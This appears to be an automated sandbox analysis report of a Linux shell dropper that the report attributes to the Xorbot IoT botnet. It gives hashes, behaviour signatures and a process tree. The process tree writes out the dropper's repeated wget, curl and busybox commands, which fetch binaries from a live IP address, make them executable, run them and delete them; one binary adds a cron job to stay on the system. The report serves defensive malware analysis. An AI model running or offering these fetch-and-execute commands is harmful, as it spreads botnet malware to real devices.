Analysis

  • max time kernel
    152s
  • max time network
    163s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-02-2025 04:48

General

  • Target

    94MJD_bins.sh

  • Size

    10KB

  • MD5

    d86eaa590e3754b5c5f7d3d48aafc640

  • SHA1

    c8813488f1208356ead6dd49754edc1174f266a7

  • SHA256

    01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd

  • SHA512

    a6833d3c8ca3415c2b90966fcaf03a680be87a3edc4bd88fab1151486c9b92c611705d5560a3284f3bb4cdfeaeae6ba3dab3d945925e45ad9857a4c63c8ec449

  • SSDEEP

    192:3eJJWK7i21QAcr/mRxEpVsP/GsiJzTi21QAEr/mRxYpVsP/l:3eJJWKMpVsP/GsiJz0pVsP/l

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1883) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/94MJD_bins.sh
    /tmp/94MJD_bins.sh
    1⤵
    • Executes dropped EXE
    PID:667
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:672
      • /usr/bin/wget
        wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • Writes file to tmp directory
        PID:674
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:679
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • Writes file to tmp directory
        PID:691
      • /bin/chmod
        chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
        • File and Directory Permissions Modification
        PID:694
      • /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
        2⤵
          PID:695
        • /bin/rm
          rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:702
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            ./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:708
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:710
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:711
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:713
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:718
                • /bin/rm
                  rm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
                  2⤵
                    PID:715
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                    2⤵
                      PID:719
                    • /usr/bin/curl
                      curl -O http://37.44.238.88/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                      2⤵
                        PID:720
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                        2⤵
                        • Writes file to tmp directory
                        PID:721
                      • /bin/chmod
                        chmod 777 JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                        2⤵
                        • File and Directory Permissions Modification
                        PID:722
                      • /tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                        ./JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                        2⤵
                          PID:723
                        • /bin/rm
                          rm JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
                          2⤵
                            PID:725
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                            2⤵
                              PID:726
                            • /usr/bin/curl
                              curl -O http://37.44.238.88/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                              2⤵
                                PID:727
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                                2⤵
                                • Writes file to tmp directory
                                PID:728
                              • /bin/chmod
                                chmod 777 DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                                2⤵
                                • File and Directory Permissions Modification
                                PID:729
                              • /tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                                ./DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                                2⤵
                                  PID:730
                                • /bin/rm
                                  rm DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
                                  2⤵
                                    PID:731
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                    2⤵
                                      PID:732
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.88/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                      2⤵
                                        PID:733
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.88/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:734
                                      • /bin/chmod
                                        chmod 777 Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:735
                                      • /tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                        ./Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                        2⤵
                                          PID:736
                                        • /bin/rm
                                          rm Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
                                          2⤵
                                            PID:737
                                          • /usr/bin/wget
                                            wget http://37.44.238.88/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                            2⤵
                                              PID:738
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.88/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                              2⤵
                                                PID:739
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.88/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:740
                                              • /bin/chmod
                                                chmod 777 Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:780
                                              • /tmp/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                                ./Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                                2⤵
                                                  PID:826
                                                • /bin/rm
                                                  rm Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
                                                  2⤵
                                                    PID:829
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.88/bins/id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                    2⤵
                                                      PID:834
                                                    • /usr/bin/curl
                                                      curl -O http://37.44.238.88/bins/id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                      2⤵
                                                        PID:837
                                                      • /bin/busybox
                                                        /bin/busybox wget http://37.44.238.88/bins/id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:839
                                                      • /bin/chmod
                                                        chmod 777 id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:841
                                                      • /tmp/id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                        ./id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                        2⤵
                                                          PID:843
                                                        • /bin/rm
                                                          rm id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9
                                                          2⤵
                                                            PID:846
                                                          • /usr/bin/wget
                                                            wget http://37.44.238.88/bins/J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                            2⤵
                                                              PID:847
                                                            • /usr/bin/curl
                                                              curl -O http://37.44.238.88/bins/J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                              2⤵
                                                                PID:849
                                                              • /bin/busybox
                                                                /bin/busybox wget http://37.44.238.88/bins/J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:852
                                                              • /bin/chmod
                                                                chmod 777 J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:854
                                                              • /tmp/J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                                ./J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                                2⤵
                                                                  PID:855
                                                                • /bin/rm
                                                                  rm J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S
                                                                  2⤵
                                                                    PID:857
                                                                  • /usr/bin/wget
                                                                    wget http://37.44.238.88/bins/deYi2q3V9attkjiPA7LeWTgHbIHm6Q5PJD
                                                                    2⤵
                                                                    • System Network Configuration Discovery
                                                                    PID:859
                                                                  • /usr/bin/curl
                                                                    curl -O http://37.44.238.88/bins/deYi2q3V9attkjiPA7LeWTgHbIHm6Q5PJD
                                                                    2⤵
                                                                    • System Network Configuration Discovery
                                                                    PID:861

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx

                                                                  Filesize

                                                                  141KB

                                                                  MD5

                                                                  3ca8decdb1e52c423c521bfff02ac200

                                                                  SHA1

                                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                                  SHA256

                                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                                  SHA512

                                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                                • /tmp/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                                  SHA1

                                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                  SHA256

                                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                  SHA512

                                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                • /tmp/J3HdJH9N8hHAV36qtqQoIMXYbZ0BFqaK5S

                                                                  Filesize

                                                                  122KB

                                                                  MD5

                                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                                  SHA1

                                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                  SHA256

                                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                  SHA512

                                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                • /tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony

                                                                  Filesize

                                                                  112KB

                                                                  MD5

                                                                  05d7857dcead18bbd86d2935f591873c

                                                                  SHA1

                                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                  SHA256

                                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                  SHA512

                                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                • /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

                                                                  Filesize

                                                                  98KB

                                                                  MD5

                                                                  5141342d0df8699fa32a6b066a0c592e

                                                                  SHA1

                                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                  SHA256

                                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                  SHA512

                                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                • /tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL

                                                                  Filesize

                                                                  127KB

                                                                  MD5

                                                                  89077b7bd4bcafca7713be43635c4862

                                                                  SHA1

                                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                  SHA256

                                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                  SHA512

                                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                • /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

                                                                  Filesize

                                                                  119KB

                                                                  MD5

                                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                  SHA1

                                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                  SHA256

                                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                  SHA512

                                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                • /tmp/id1ifKYr9Aj5p4AEp6htDxqAbjgQGeJmO9

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                                  SHA1

                                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                  SHA256

                                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                  SHA512

                                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                • /var/spool/cron/crontabs/tmp.JKi5cg

                                                                  Filesize

                                                                  210B

                                                                  MD5

                                                                  7cb3e6156cb7ab533498b69ce426d07b

                                                                  SHA1

                                                                  eb711a24343deec2ff0ed43d009e2b7db329be28

                                                                  SHA256

                                                                  805c7cb949b664982ababc15147c42545738c9ed76fef147f4e1d6f39b05a8bf

                                                                  SHA512

                                                                  1ac927d1182eaad4e65bc2cdc539a4e8dd6823354f3f38ba85cdd8e25136119da317af7f4fabe2bdbe234214348a090ce18ea4834c352553873fa0d23e3eaf81